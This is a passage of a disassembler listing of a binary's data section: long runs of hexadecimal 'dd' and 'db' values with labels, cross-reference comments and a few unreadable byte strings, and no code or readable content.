		dd 58A00071h, 97377A87h, 53C28C03h, 0D8E5BF14h,	0B0DE0285h
		dd 9B7700FCh, 0D1D582A6h, 0BE007B8Bh, 8E8C922h,	0BF2771h
		dd 7C8ECD3Bh, 0C609EED7h, 0E7F3B300h, 9161EFF6h, 0A27302B2h
		dd 128EAE6Dh, 0A53D0CC0h, 71158300h, 0F3C3F584h, 9631002Ch
		dd 0C73BC8B6h, 0B8001E75h, 0CD363E12h, 7BEA042h, 72AD11ACh
		dd 0E5FA2083h, 2618A638h, 9568CE64h, 1FA000D2h,	20371392h
		dd 720007B2h, 1897F8D3h, 1F68A6A9h, 2958867h, 0FABC9F31h
		dd 3DE27FC0h, 0D4378712h, 0D0B80C03h, 6651F8E3h, 5E6F0952h
		dd 0DB82CC93h, 0D880E8A5h, 0D2201118h, 9FBE133Fh, 5421EDDh
		dd 4040D568h, 0FE7902h,	0EF60432Ah, 0C728211Dh,	7220FCE3h
		dd 801E1800h, 0CD59FD90h, 7A1D00E8h, 0AB26D3Fh,	100E695h
		dd 2144EB18h, 876003h, 7FBD503Ah, 0E1C4B28Bh, 0A5E50B00h
		dd 83AD2634h, 5CD3F09Eh, 1A00E305h, 857BBF40h, 6E010FC5h
		dd 0C8586C03h, 49203019h, 3ACB00DCh, 8B31A73h, 33007A81h
		dd 600E32FFh, 39F17812h, 0A4812957h, 4742B362h,	9B647484h
		dd 0D0D9AB0Eh, 6A6D84A3h, 2C66A480h, 0CEC0000Bh, 65515D78h
		dd 250007F5h, 2730681h,	0C80AC3h, 26B9CE2Ch, 12304E60h
		dd 0D89D2A00h, 1421BDE8h, 8E75589Eh, 40C0B31Ch,	0FBF392EFh
		dd 6AB291E5h, 7CC00E5Dh, 48B7C201h, 0C9C35C3Fh,	0F4586020h
		dd 9F4A007Bh, 0B14180D4h, 8F05C7A8h, 0A1B4DA17h, 0F48AC0D1h
		dd 1357C474h, 8BC3F9h, 0CB87E362h, 0DA03C29Dh, 307C23D6h
		dd 0E5A0B81Ch, 0CC31C0FDh, 755C0624h, 9E21B133h, 3400E5AAh
		dd 3FE6BC86h, 94D415F1h, 0DB381C8Dh, 14B0E380h,	0CCBAB83Ch
		dd 60F88341h, 0E5FF000Dh, 19DF7BEAh, 980E135Bh,	23762459h
		dd 9860BF84h, 0FD27F0h,	0AFC4784Ch, 2CB9C9CEh, 20002E72h
		dd 0D58088FAh, 289B89CDh, 3D06FDFh, 82B9E8A6h, 22982174h
		dd 3C008A90h, 1FF4CA1Bh, 1FE18BCEh, 4131525Eh, 8EB62A7Ah
		dd 5CF9C853h, 838F9903h, 0E6470h, 0E6444EC0h, 6F30A0C4h
		dd 1C1DE500h, 0CD63A8FCh, 7E101D59h, 786DD844h,	0E100DD51h
		dd 7491B827h, 5DF10Dh, 0A9E6E4C8h, 6BD9BBA2h, 57F038h
		dd 1A4D35B0h, 2D2E8D3h,	4E420980h, 91C0967Bh, 3E50F0D6h
		dd 587108D8h, 20AACB03h, 8BF43F3Ch, 0E529B8BEh,	8DC03BABh
		dd 15853E81h, 70AF083Dh, 55005A0Fh, 0CA625B46h,	37E633h
		dd 5615E187h, 0C13E50FBh, 0AA807150h, 11A96E00h, 97FCAED5h
		dd 7C9B06E8h, 208409E3h, 4D3E4EB0h, 0DEAB00DCh,	413B53C9h
		dd 37160063h, 523E32AAh, 4900CDFFh, 5FB5D9DFh, 1D51A78h
		dd 0E44DBD5Bh, 0CBE7A3AEh, 35DA12A8h, 4139E500h, 0CA6D5E03h
		dd 43C600F3h, 5938D855h, 1600DB54h, 87F6413Ah, 2BE467h
		dd 2165B368h, 449BA560h, 2B4BB3Ch, 0E7A27661h, 0D984C0BDh
		dd 376F0C47h, 8D212593h, 0FD78A166h, 0E9812951h, 18315140h
		dd 0AD860EDCh, 80CE046Ah, 9D03007Dh, 0F31BDE39h, 0FBE7A42Eh
		dd 5E9C5B00h, 1240579h,	7BC14137h, 0CB13B6FEh, 9BCBE9A0h
		dd 4710D960h, 3E6339h, 75517C7Eh
dword_534544	dd 9F68B09Ch, 5EBD7701h, 79A70D76h, 704DD0F3h, 29F20F7Dh
					; DATA XREF: ___:00444CB4o
					; ___:00444D8Co
		dd 0FDE717C2h, 45CC60FBh, 0D403F993h, 16305815h, 0AF71984Dh
		dd 1ECBFAA6h, 985A3AD3h, 91C40EE9h, 0B1955Ch, 1F80A772h
		dd 54CAF5h, 0E70BAC48h,	52A11628h, 0BFF0FA1Eh, 64C0111Fh
		dd 95D4F454h, 6F70C032h, 0E3103B1Ch, 273C5D03h,	1139DD1h
		dd 92028488h, 0FC7F897Eh, 11387701h, 86188068h,	26BA272Ch
		dd 0C08A00A3h, 159E0CF6h, 0A003813h, 1D93C2C1h,	1CA50B8h
		dd 0EA089692h, 0ECC35888h, 4C0070D9h, 0F38AD713h, 7C4F0E9h
		dd 9DAB38Fh, 748880F4h,	3F004917h, 0DB5BDDEBh, 3A98685Dh
		dd 9381350Fh, 0D20E824Dh, 0AF48C446h, 0ADB8F700h, 6B645D8h
		dd 0C8A7022Fh, 0AA9F0F11h, 9B599140h, 98EAA928h, 0F463ED00h
		dd 5D1052B3h, 0BD5E0781h, 0ECFF693Eh, 0E072320h, 7156D91Eh
		dd 0F367CE10h, 3305008Bh, 8A2854A3h, 2E00CF78h,	0EFA5EA1Dh
		dd 7B24786h, 61D3294Bh,	50FAF0F0h, 0E70765D5h, 6689FC1h
		dd 0CF1737F0h, 0B998002Dh, 2803C527h, 0F70021F4h, 5AD67710h
		dd 50AC6Eh, 0F2AB9A83h,	0CBC6A46Ah, 91DAC500h, 0D30185C8h
		dd 8056095h, 7B16CC4Ah,	134EC101h, 0A0B41C71h, 33C8BECh
		dd 915B9BF0h, 609FF669h, 6E9883FFh, 8552A402h, 7D0FA5B3h
		dd 38C9E900h, 0CE07DC86h, 0C19DB413h, 6810C861h, 3B34F9E0h
		dd 0B6003981h, 0D23A3D5h, 2C126428h, 4F003F9Fh,	504C3805h
		dd 0EC1A00B2h, 0E8F1EC9h, 0B1EDA37h, 0E1C017EAh, 0DFD4B631h
		dd 38F40251h, 0D59BB17Fh, 0E2840F5h, 0B292002Ch, 3906C198h
		dd 0FB0E2982h, 40342403h, 129EC769h, 3C9A79CAh,	0A803056Dh
		dd 0FCC61768h, 0AF39BBh, 8530D8Ah, 0D029181Ch, 451BA280h
		dd 0B04633E3h, 0D4B00CCh, 68DFD8C5h, 7A0F8C83h,	98C66734h
		dd 1DE94A74h, 5F1FB908h, 8D6400BBh, 81BD26F4h, 41DBC600h
		dd 0A75A663Eh, 655B00BCh, 0D3D5F113h, 0C800DF2Bh, 0D75C7493h
		dd 95AA4Dh, 2D45E3F6h, 0CF7E679Ch, 0F5C1B200h, 65A6B90Eh
		dd 33E53E54h, 4FE1080h,	0A141DFC6h, 0DDE22200h,	2F61D15Ah
		dd 15D20036h, 0D810667Fh, 6B62A059h, 80A42338h,	0D9DD02C0h
		dd 9DA80108h, 51466C70h, 2CFBC89Bh, 0C2C5D700h,	6F5E79B9h
		dd 2A620157h, 0CEF904D0h, 43802021h, 4D01EF7Ch,	5AB6BE8Ch
		dd 47E467D7h, 0EA69088h, 58E3C0CEh, 317DE5C0h, 0A9000B8Ah
		dd 0E012C1C5h, 2E361EAFh, 0FB8D46h, 2C32F04Ah, 38C08B98h
		dd 7BB68C09h, 3BF41715h, 71ED00B4h, 33C4B7A8h, 0BC5CF800h
		dd 63265636h, 0C0420017h, 84283ABBh, 0DE00E14Fh, 0F3615D5Fh
		dd 73EC521h, 296A6241h,	5A1580A1h, 900E5768h, 60EF9EFAh
		dd 0ED20CF91h, 0F92600BEh, 0B0AFDC96h, 2E294E6Bh, 0E612034h
		dd 780CF7BEh
		db 0, 7Fh, 83h
aYkdB		db 'µyKD(b',0           ; DATA XREF: ___:00444BE4o
					; ___:00444BF4o
		dw 56Bh
aUcnuf		db '¼î–Nãf',0
		db 67h
		dd 0D11B9799h, 0CE2ED0CFh, 1EA0F048h, 0F5EF0C9Dh, 7B8ECE00h
		dd 90716D9Ch, 7267548h,	0E562DBC0h, 0C29B8584h,	0C983A8D9h
		dd 43E9938Dh, 0CB088076h, 0B25844Ah, 997001Eh, 83806B89h
		dd 6A1E2FABh, 3F009B72h, 6F78CBE4h, 0BE8A2832h,	0E7647DA4h
		dd 0E441E000h, 9380BB00h, 85D2685Ch, 328003Bh, 783D7E77h
		dd 9B017F96h, 0FD5D7B2Ch, 20B00944h, 0E81681B8h, 5902DEB0h
		dd 0FB7A5523h, 8580B86Eh, 66680858h, 58D0D2B8h,	170E092h
		dd 69852DDDh, 0DC25B1A2h, 0E32895C9h, 8400AC56h, 0C5182B5Ah
		dd 0EBF7F8h, 33103F62h,	0BC565C08h, 1FF60C0Dh, 254094CBh
		dd 62D997h, 15052744h, 57A01BD7h, 0F4AF512h, 401D2205h
		dd 8B958000h, 0A72A3A6Bh, 80FC0420h, 6107319Ch,	1921188Ch
		dd 76073088h, 0C5BFCF51h, 0F280D05Ah, 71BAE174h, 438007B4h
		dd 0C78BAE5Ch, 7F9510h,	0A03156DCh, 8F62CE75h, 93938110h
		dd 5856E004h, 99715Bh, 0A31A3C0Ah, 632202C5h, 66BE6A00h
		dd 0B74049BFh, 0E5100C9h, 0CD461133h, 5D003E7Bh, 19A1EADEh
		dd 343B13h, 0BE8BECF6h,	2EBC3C6Eh, 0AD0B5600h, 0AC09CDD2h
		dd 247675F0h, 143696DBh, 5B3AC1D1h, 0A2ABAE07h,	900A9039h
		dd 3000ACE3h, 1D28EA8Ch, 0FEA307h, 969729E1h, 8345DFFh
		dd 1BE5000h, 0D2D5BC30h, 0BD303EEh, 0FDAF5964h,	7AF86CD8h
		dd 9FCA4000h, 57CF1544h, 0EFA3015Bh, 0E50C520h,	14588378h
		dd 0F85CE4C2h, 75376622h, 843F28D5h, 21BC0FD7h,	9C8049A7h
		dd 5E837619h, 469F0D00h, 11A033Fh, 49020035h, 0C74B905Bh
		dd 7004812h, 8AA94C5Fh,	3BEEAB39h, 78A40351h, 0EA5D8A8Ch
		dd 52010380h, 73C09680h, 9004FCCh, 97E883B1h, 55E384h
		dd 11BEC356h, 0D1C5C622h, 7D17F703h, 911ECFB6h,	0AFE0F82Ah
		dd 0B50800EAh, 30556094h, 0F503213Dh, 7706CEEh,	76DAC08Fh
		dd 2FDF0733h, 0E0B7F49Eh, 4316D92Eh, 0FC788028h, 0F3131702h
		dd 0C0270A90h, 55C006h,	0B88C1DDEh, 607A661Eh, 1F38CB0Ch
		dd 9A40BAh, 7091DCE0h, 15314D56h, 24010900h, 3634C35Ch
		dd 0DB94003Eh, 0CD06AE0h, 0B4072FC2h, 5B82CDA2h, 0FF2CA020h
		dd 0EAD11D78h, 6D58C0CEh, 0B9ACA238h, 8AEF0E00h, 29681254h
		dd 434003Fh, 0CBDC84A5h, 650B661Ah, 80C5554Ch, 2D1D64BCh
		dd 9FB6003Eh, 0A5F2FE98h, 7A009CD0h, 93E297DBh,	527E8Bh
		dd 384F4208h, 0D30C2829h, 0EFE48100h, 2688A50Bh, 0B4C900CAh
		dd 0D875A1BBh, 0D6008D94h, 83FA7052h, 199D780h,	0EFFC5501h
		dd 404BB73Bh, 9B26BFE0h, 877C960Eh, 0BA00F7ACh,	18098AE6h
		dd 0E7EB0069h, 91498DF7h, 59129FC9h, 18076051h,	0FDD0C199h
		dd 7FF2905h, 1FC2A3E7h,	1DC37158h, 0CA56870h, 302861A8h
		dd 0EFDD00E9h, 0BF75DF72h, 0D1070DD9h, 0CE478954h, 775AD451h
		dd 40CB289Ch, 0AA6404Eh, 0CA00A45Dh, 6220DF41h,	9009A753h
		dd 8D02009Bh, 469ECFF5h, 7900196Ch, 421AEE8Bh, 17E8D85Eh
		dd 0CD5B01h, 879E22D9h,	8E3BA88Dh, 0C7510132h, 9CC5ADEBh
		dd 0AAD0188Eh, 7A03E120h, 510F189Bh, 608EE991h,	1ADD581Ch
		dd 2C814DDCh, 9570C700h, 5A31E38Fh, 0BE48F505h,	0F440BA3Fh
		dd 0C8509D30h, 6AF7007Fh, 7AE83E82h, 80904DE0h,	70493818h
		dd 7783E0h, 0F8D9455Dh,	0D566EABAh, 499ECB00h, 6F107F52h
		dd 340D48B3h, 73154B00h, 94035586h, 6C934Dh, 273D72F0h
		dd 0F25F817Ah, 0F50F2C9h, 313508ECh, 0D9C334C0h, 0CB0066A8h
		dd 0AFDDFBFCh, 3B599409h, 0DA5C4960h, 3D469B05h, 4A7C81E5h
		dd 0C455E874h, 4B669F00h, 92605A02h, 0C7DF01FCh, 389E3BF7h
		dd 0D6C16B22h, 52D08A7Ah, 1D9D0FDAh, 4540C47Ch,	70162D31h
		dd 0EE903600h, 56DB8CBCh, 49A400C9h, 0C341C8F8h, 0FC00F4DFh
		dd 244CAE83h, 0B0054692h, 0F614007Ah, 7AA33211h, 5A269835h
		dd 0B30F09DCh, 608D2FB8h, 4DA26F2Dh, 0B2543B47h, 0C0BC049Fh
		dd 1E615BFDh, 49004E86h, 1CAD275Ch, 2CAE144Fh, 0C8D4A8h
		dd 0F05B7190h, 4008E6Dh, 8296557Ah, 38054Eh, 52F780F5h
		dd 0B8CD94ADh, 0D086C0C7h, 4B5C9560h, 10908Ch, 0E0149AF3h
		dd 0FD1CF00Fh, 96993800h, 0B98C497Bh, 834C007Dh, 98D42EF4h
		dd 0CC00D66Ch, 68F65DFAh, 0D210FDh, 5AC009EDh, 0A3B45F05h
		dd 0FFE7FB07h, 9D3040DFh, 0A68C35h, 813A9982h, 9EFDE568h
		dd 0EA38B400h, 9AEF13A4h, 0A60F5BDh, 493A5C5Ch,	94F4740Eh
		dd 0B0A451A7h, 0D0E07807h, 0C2C6A51Eh, 5C60E480h, 259542h
		dd 0AA61B0F9h, 2404F750h, 1275E2C3h, 98E8D8F4h,	0E7A60093h
		dd 21453CB9h, 0C0F336AFh, 57E052D4h, 5F0C8400h,	0BB5355D7h
		dd 301D0081h, 1824759Ch, 6107B963h, 0DB066FFCh,	0F3420950h
		dd 0FD71B0h, 0EB4B72EEh, 4802E88Eh, 0A07E7B01h,	0BF42A616h
		dd 179B4F4h, 0FB280F3Dh, 0D425D09Eh, 8D0080CAh,	0DAF3AB21h
		dd 75AC0396h, 0A8312836h, 70E90092h, 9B9D14FBh,	0C6009383h
		dd 2C61C7FDh, 3EBF607h,	4A6B8515h, 0FBD0E1F1h, 0B07A894Dh
		dd 0FDAA2004h, 2A837840h, 0C0709F8Dh, 2E3612h, 0FFCD583Fh
		dd 9825A6FBh, 83E25DE6h, 0C00B1FAh, 29148D35h, 0C2B6EFEh
		dd 85123BE3h, 0C5E0FA10h, 0F51D9B00h, 0F6674299h, 59BD00DCh
		dd 654F7D19h, 0AB0FA2A8h, 4063C969h, 0DF5BF328h, 3B20086h
		dd 8331D952h, 0AE009EA9h, 0DC25DE09h, 30E65Ah, 7446CA43h
		dd 0A9DB05Eh, 0CFB7FA0Eh, 113C81CDh, 7BE464FCh,	49540031h
		dd 0EDD34251h, 0BF07473Ah, 5CEA0F8h, 0E09D0C03h, 0F092D1h
		db 73h
byte_534E45	db 35h,	0EBh, 13h	; DATA XREF: ___:0044492Co
					; ___:00444C54o
		dd 790DF99Bh, 80A6F83Fh, 0DBE8E4D6h, 9973D2h, 3F4F3E86h
		dd 193794F5h, 7556EC00h, 0ADEE806Ch, 1C8E7830h,	8202AAh
		dd 8124F1E4h, 5703097Eh, 0E758D0D1h, 7C8F88B6h,	0E4F243h
		dd 0CD15E064h, 99769F78h, 9CF8FE07h, 17E4B134h,	33307F80h
		dd 432C0203h, 53CE150Fh, 42E196C0h, 8027013Bh, 9241F90Eh
		dd 77485273h, 958807CCh, 0D7E0327Ch, 6436A03Eh,	0AF00102Eh
		dd 0A9C2A671h, 124C222Bh, 0FFBCAE84h, 0BA2C5003h, 1644D0F3h
		dd 0EE333D68h, 52082302h, 0A680ECA4h, 0E5FACE84h, 0B21FD87Dh
		dd 0CC40B724h, 5AD5DE11h, 740A2CFDh, 315F014Bh,	70E51698h
		dd 0C000F87Bh, 0A441C6BEh, 3BD30F48h, 0FA02B53Fh, 862A05BCh
		dd 0D7B6CB40h, 4EAD9500h, 2CA1F481h, 0DD171222h, 90090F67h
		dd 0A600C70Fh, 0A276A540h, 7E50448h, 72F92BBAh,	0E70AA180h
		dd 0BD45077Dh, 1FEC4EA6h, 0EA2370C0h, 6A008073h, 88DB9B8Dh
		dd 0CA510BDh, 2EDFD0Ch,	0A8000468h, 0A90AE4B7h,	1E70F97h
		dd 2F924B6Dh, 0C8331F90h, 5003460Bh, 3FF17F29h,	1113C3Eh
		dd 4FFBBC03h, 6AA0E5A2h, 83308896h, 21E3B025h, 0FD160049h
		dd 41A74E32h, 0FC06B340h, 9E0FD331h, 959003E0h,	56264639h
		dd 131BECF8h, 0DCD3Eh, 0B99C06A1h, 0D4EF93h, 7DA7558Dh
		dd 682F4B9Fh, 0E9228200h, 7159EB36h, 0EED80030h, 5D672B16h
		dd 56003A4Ah, 9DA068ACh, 0B187F8h, 0C835EDDBh, 8B587951h
		dd 7B72E9E8h, 0C50C9400h, 0CC56F6B9h, 2FDA0097h, 4EEE2B58h
		dd 5D1E2E47h, 3E80BD6Ah, 0ED80C75h, 1C42F2A9h, 0C04C62D9h
		dd 0DAEFA6A1h, 13031EFCh, 0EE14E299h, 25AFA0AAh, 0BABDA0A5h
		dd 318A3AE5h, 4D661100h, 6A881737h, 64192800h, 0B1BC4A9Eh
		dd 0D77600B8h, 0CC626780h, 0E098212h, 0E25D9016h, 849C6099h
		dd 0C063B80h, 0B880B6BDh, 0EF6B2271h, 1100AE3Ch, 0B7507981h
		dd 28732F8Bh, 80A42BF0h, 0C99CF0h, 0A9D3F69Eh, 8420758h
		dd 5E82A03h, 0A03048F2h, 21765BFh, 84B990F4h, 0D0920650h
		dd 62C8BE60h, 9DDE1800h, 0A81F57A9h, 342B2EA5h,	0E5C40161h
		dd 82352F9Ah, 379B6630h, 9855C012h, 7F80EA38h, 0A5B70C9Ch
		dd 76910B06h, 34D3A06h,	1F107AC7h, 1ED3A7A4h, 3C930Ch
		dd 20AA2E5Fh, 94006291h, 0E64E4A7Ch, 1E44BB2Ch,	5C4EEh
		dd 49036E24h, 0E37C2F9Eh, 0B0FB6030h, 909C3DAh,	26D9718Bh
		dd 80229001h, 27FBEC31h, 0BA680C3Dh, 0D71B0116h, 4DCA0BD4h
		dd 355DF0h, 75D1A0AAh, 5481C298h, 705AE23Fh, 0E1C68F03h
		dd 8069CB1Bh, 0B00CE3h,	0FF1D6408h, 527A037Dh, 0F9352E1Eh
		dd 33102300h, 13F80AE9h, 0CDEAF4h, 3D2786B7h, 0DD0A1459h
		dd 0D3A4B18Eh, 0CDF5BC00h, 0E9FE681Ah, 0DBD46E80h, 9CCA2123h
		dd 839F2E00h, 668085D2h, 0B7630F3Ch, 7526A2C1h,	9F008976h
		dd 0EFEA49DFh, 0F2B590h, 7DC2891Fh, 4514EB55h, 73192D06h
		dd 60E706h, 8E1B13Ah, 0E4463C0Ch, 0F00DAA07h, 2AF0683Eh
		dd 1D481AB0h, 80FF3506h, 0F83B5956h, 0C9C0F707h, 0F50BC794h
		dd 99D101F0h, 4D60E535h, 0E988801Ah, 449DE45h, 3AC7E687h
		dd 7E80983Dh, 11C2EF1Fh, 0A0009DEDh, 60E1E84Fh,	50B691A9h
		dd 68CD940Bh, 13BC7247h, 8D55006Ch, 86622E3Ch, 16B9483Dh
		dd 0E00DCE6h, 0E95BB395h, 0C78F05C0h, 0B0EF28h,	7EFCE2A0h
		dd 85EF0541h, 0AA4F93A8h, 8A69040h, 0F8ED6D16h,	0D1660B8Bh
		dd 2802382h, 0B4A52D0Dh, 94D7D400h, 0C92B8629h,	0D54500B0h
		dd 73B55218h, 4D1F82E0h, 0C340CEF8h, 0C386E5Bh,	0ACF91F91h
		dd 392A80B2h, 0DA1E813h, 75FBE3Bh, 0E2F3A760h, 0B36DC0AFh
		dd 0CB7C73h, 44CF8F0Fh,	773013E7h, 2AA9A000h, 0A4E376FFh
		db 8Dh,	0
aEEhQas		db '¥ì…HŸ€‘',0         ; DATA XREF: ___:0044487Co
					; ___:00444C94o
a9Xrki		db '9"',0Ah
		db 'XàŠi',27h,0
		dd 81F6C930h, 66E6BECCh, 5E004677h, 7A9D58DBh, 32D0F8h
		dd 6272ECDFh, 5B2602BAh, 2E90BF00h, 56D23691h, 0CB860081h
		dd 3AF6CCD8h, 4200C187h, 0DFF4ABA5h, 30583292h,	0A240C3CEh
		dd 0C1004A1Ch, 0C4023630h, 0FE4CCAC0h, 55400E81h, 3580B6FAh
		dd 0C68C3EF1h, 0D3EB700Eh, 54C7436Ch, 1E91F02Eh, 1D2A7B29h
		dd 0C0278E92h, 0D5B4999Bh, 76397FEFh, 91DD8089h, 703301E0h
		dd 16833AE4h, 0DBC42480h, 96C6D685h, 2ADCD21Fh,	12568C9h
		dd 0E878F33Dh, 3083C7D4h, 3F509F12h, 0A63E3159h, 47B28328h
		dd 0A0EDBD5Bh, 259F81h,	656C78AEh, 972C7398h, 14D3F100h
		dd 4D02C7C4h, 0C379004Ch, 0A731B394h, 5D009619h, 1E5C136h
		dd 156543Ah, 2C2843A2h,	0E85794B3h, 0CF3CAE8Bh,	80BA3849h
		dd 465C938h, 73A6C8F6h,	2B72008Ah, 800AEA9Dh
		db 90h
byte_535345	db 86h,	3, 0DBh		; DATA XREF: ___:00444A08o
					; ___:00444CECo
		dd 3B03FCB7h, 225890AEh, 623D0028h, 2A773A89h, 61244179h
		dd 0B00A0225h, 7D43C0ABh, 0E5A8C8D1h, 0C06607A1h, 3C1C57B8h
		dd 0D9003ED8h, 71ED6EEEh, 52F52Bh, 1E324BB6h, 2615EB1h
		dd 0A300BBFAh, 2E8453FFh, 14E2233h, 0B4463E92h,	0F068E41Ch
		dd 0BD287BF7h, 5900C1C2h, 90913829h, 0B8096Bh, 0DBF9896Dh
		dd 6112414Eh, 24352100h, 3FD9ED0Dh, 0EA100CEh, 88B15B54h
		dd 0E67971A0h, 0A7EF4E00h, 0B303FDFCh, 2CBB01DEh, 9D22E792h
		dd 0A9BF09Eh, 67B78601h, 235E4BC5h, 1FC037F0h, 787CC43h
		dd 5009F0A0h, 924A4681h, 9CE47A01h, 12C28F37h, 0DB6B5084h
		dd 5A298360h, 4ABC3588h, 0C0FD5907h, 7DD0C9CCh,	4825440Fh
		dd 1900307Bh, 0CBF27E77h, 73039D2Ah, 8DD54C9Ah,	214E9837h
		dd 3B1EA3Ah, 0A470A7A3h, 81F8C434h, 9C004FE9h, 29A9C557h
		dd 0EAD15F8h, 0B2350373h, 0D68BCA0h, 0F7092580h
		db 23h
byte_535449	db 0A1h, 90h, 10h	; DATA XREF: ___:00444CC4o
		dd 0E1DF538h, 28C7F16h,	9D87DDC0h, 24021938h, 0F04AE976h
		dd 0BD35E04Fh, 81EF00B2h, 0D32F4088h, 3A0167D9h, 0DD50E53Eh
		dd 0D230B951h, 54BC90C5h, 255983Fh, 0F581BC5Bh,	0C6E0E222h
		dd 0EB0071E9h, 87C7D593h, 0AA399Ah, 0F49E7710h,	6411B345h
		dd 840AE500h, 5854F074h, 0C6BE0050h, 0B86366CEh, 2100A683h
		dd 92CD2029h, 7389B2Ch,	0A9173E8Ch, 8A08F11h, 72247357h
		dd 856DB32Eh, 0CA011300h, 3A7AD118h, 3380347Eh,	1ADBCB2Ah
		dd 77134385h, 3C005D37h, 9D2B239h, 0DD88003Eh, 76585566h
		dd 0D4007AE8h, 0C0B49705h, 0B60D26h, 817BAD18h,	106C0353h
		dd 88A85A00h, 4712BA8Dh, 0C3A60056h, 0C9B10A1Ch, 0EF001AD2h
		dd 63C569AEh, 8FC266h, 0E11DFEC0h, 0EB9C210Bh, 77DF9524h
		dd 876E2B00h, 0C0AAEFADh, 0B5E2E4D1h, 0CE001C9Bh, 6D3738BFh
		dd 7D49ACDh
		db 64h
aCZ@K		db 'Ä–',27h,'§»@:[Š',0  ; DATA XREF: ___:004447D4o
		db 0DBh
		dd 1031571Dh, 0F0BB2F82h, 0F2A904B1h, 80C2FD5Ch, 74BE34E0h
		dd 0A496A301h, 24ACF193h, 72652860h, 0D4ED1DB2h, 80E05EE4h
		dd 42CD9BE8h, 23078A59h, 0C26C0293h, 4BC8FF50h,	3AD6E29Fh
		dd 14827391h, 0B9852F5Bh, 0B8002844h, 5F8D18F2h, 0DB049Ch
		dd 24D5C3D3h, 628755CFh, 2F977501h, 0F111EC05h,	37916D4h
		dd 0DE2537B1h, 4871E1FCh, 0A4B63028h, 0D9004BEEh, 9322C360h
		dd 78B3BFCh, 46F0484Dh,	0E0D4C7DCh, 7CB87E34h, 7BE30912h
		dd 0C66D7030h, 8900Ah, 98AE769Bh, 27DECF0Eh, 0E9009BB8h
		dd 0C1615AA8h, 28A9D644h, 3BB4CCBDh, 0DE8273D4h, 0F9DF5E33h
		dd 59E9FAE0h, 0A275CF1Fh, 89901081h, 5BC8BD35h,	128226F5h
		dd 0C3459CB4h, 0AEF12702h, 0E93DA800h, 0C6F696DCh, 2C2B095Ah
		dd 30A282EAh, 9740A0C5h, 8800FF84h, 307E96A2h, 14FBFB3h
		dd 2851670h, 0C84CAB5Bh, 6A3F8FDDh, 97E916DCh, 3633800h
		dd 0BA6BACh, 54F779DAh,	1A07380Eh, 0E4A6EB02h, 833024CDh
		dd 0C8AEF58Ch, 482C0EDh, 0CC9DE78Ch, 0D3309007h, 2F004633h
		dd 606BBCB0h, 16978h, 6850E2E3h, 75774F7Eh, 5C92372Ch
		dd 4040B916h, 148CF4E6h, 0DB330089h, 5A0F410Ch,	1D07C664h
		dd 872ACC11h, 0CEA51EB0h, 92501B7h, 1033B31Fh, 0D80BF5D9h
		dd 0D4004175h, 9E2AA242h, 26E552h, 0C8D26D1Eh, 7E3BA3A9h
		dd 3749E200h, 0C9DDF0CDh, 73F23F17h, 2EECB883h,	76EB1490h
		dd 8C751BC8h, 95FC8200h, 0E26BF88Dh, 16780199h,	5ACB43F9h
		dd 0E883C033h, 531D3C00h, 0AA5F75CDh, 7C30020h,	2410042Fh
		dd 8800EB6Dh, 0C1EE7FBBh, 7C798782h, 0E5AE3CC8h, 7708DB80h
		dd 0D407B50Bh, 0D9B9700h, 0FA93424Fh, 9DFEB9h, 351091ECh
		dd 0AC8D383h, 5AAD1900h, 0E30D9086h, 585CFF99h,	0F67AB9h
		dd 0EB8B2C18h, 8F5D9C5Eh, 0E7DFCB03h, 0F0546977h, 460B0Eh
		dd 0F3D67107h, 0CC3AFDDAh, 14E8300h, 5308908Ah,	0B0DD3E52h
		dd 2D7DF200h, 0C58E0D0h, 2CB14F12h, 0EF00A31Eh,	36879641h
		dd 44090076h, 356CBBB0h, 0BD0067D1h, 0A69293C7h, 378630Fh
		dd 1172BCB2h, 46BBFD94h, 0FC8CDCC8h, 96F8CC13h,	12AB9300h
		dd 0A418B70h, 34B50F1Bh, 8ACA0EECh, 2BEAF0A0h, 100C083h
		dd 9A21C74Eh, 1A6858h, 54718E24h, 3DBD8FA6h, 0A1CF8900h
		dd 0B8EEA07Eh, 1FACA6E4h, 472367F4h, 80FBA825h,	5386A21h
		dd 0D6072D00h, 3B962489h, 8AE0F9B3h, 7CAB7B35h,	795B0304h
		dd 3DD23A3Eh, 52AF7000h, 1D6821A3h, 0E4B20072h,	7E0D669Dh
		dd 0CD300E71h, 42E5109Fh, 0C1F000AEh, 0FED25E8Bh, 79002CDDh
		dd 0C4EB0DEDh, 58B353h,	0D8210C02h, 135F3466h, 9076351Fh
		dd 70A1880h, 108A369h, 0B6D32360h, 40AD4714h, 70E31078h
		dd 40893E00h, 5CE405B8h, 220E001Eh, 0CB0FCCA2h,	0B6245816h
		dd 0EE000494h, 13309A9Ch, 0D6AC0989h, 3403520Bh, 0FFB0023Bh
		dd 8C00F1C6h, 101FFD81h, 0A7D507h, 0D324E87Ah, 0F7A36815h
		dd 4F0128A6h, 4BDD4DCEh, 9C408AC0h, 9088F68Dh, 0C7B00168h
		dd 532B5DF1h, 7D6427BAh, 0E49A9E15h, 4C7043A4h,	712B0A48h
		dd 1628B063h, 0D549B00h, 0E5331A4Dh, 0C190016h,	4BD22355h
		dd 0B875987Ah, 0DCAB5C05h, 0BC00BDD1h, 9F1083CAh, 0A2ED0075h
		dd 18DFFAC1h, 0A173DC3Eh, 0D1FC852Eh, 62C71A00h, 50F440h
		dd 7A116896h, 5981E9A6h, 4FDDE0C2h, 0CD15E00Bh,	0A1C30279h
		dd 862A7F2Eh, 0E0CC8E80h, 289AAAD6h, 80F8CF0Eh,	670077A7h
		dd 94BA0FCDh, 6B270270h, 0ED249B11h, 100849Ch, 2226181Fh
		dd 5F2CEDh, 0A39588DFh,	0FB642D10h, 0AAEBBA01h,	70CE27C0h
		dd 0E05CC4h, 0A304C9F9h, 6458E349h, 2808453Eh, 4000E20Bh
		dd 0FC5B1F12h, 9C1C93h,	0EA547902h, 0D950587h, 18708900h
		dd 0CDBC0B01h, 794B0EBAh, 0BB404EAAh, 0BF93D3EEh, 7F07E800h
		dd 0AB0DC191h, 6F40001Bh, 8D9A9FC8h, 409525D6h,	6D988Fh
		dd 3B2FCD8Ch, 3DF6B790h, 0A006AF6h, 0FA3634FDh,	0C09FE599h
		dd 78067D60h, 0BE0065CEh, 9D4CB27Fh, 76E4BA7h, 90EB2742h
		dd 0AE8FF044h, 0F80F6A96h, 0B60BFF1Ch, 437D0400h, 0B842B219h
		dd 140007Fh, 0F5837E78h, 8F030B2Dh, 2BB9CC03h, 9AA9B01Ch
		dd 821E0027h, 0F9F88662h, 0AC03D028h, 0C06F613Bh, 0C5CAA829h
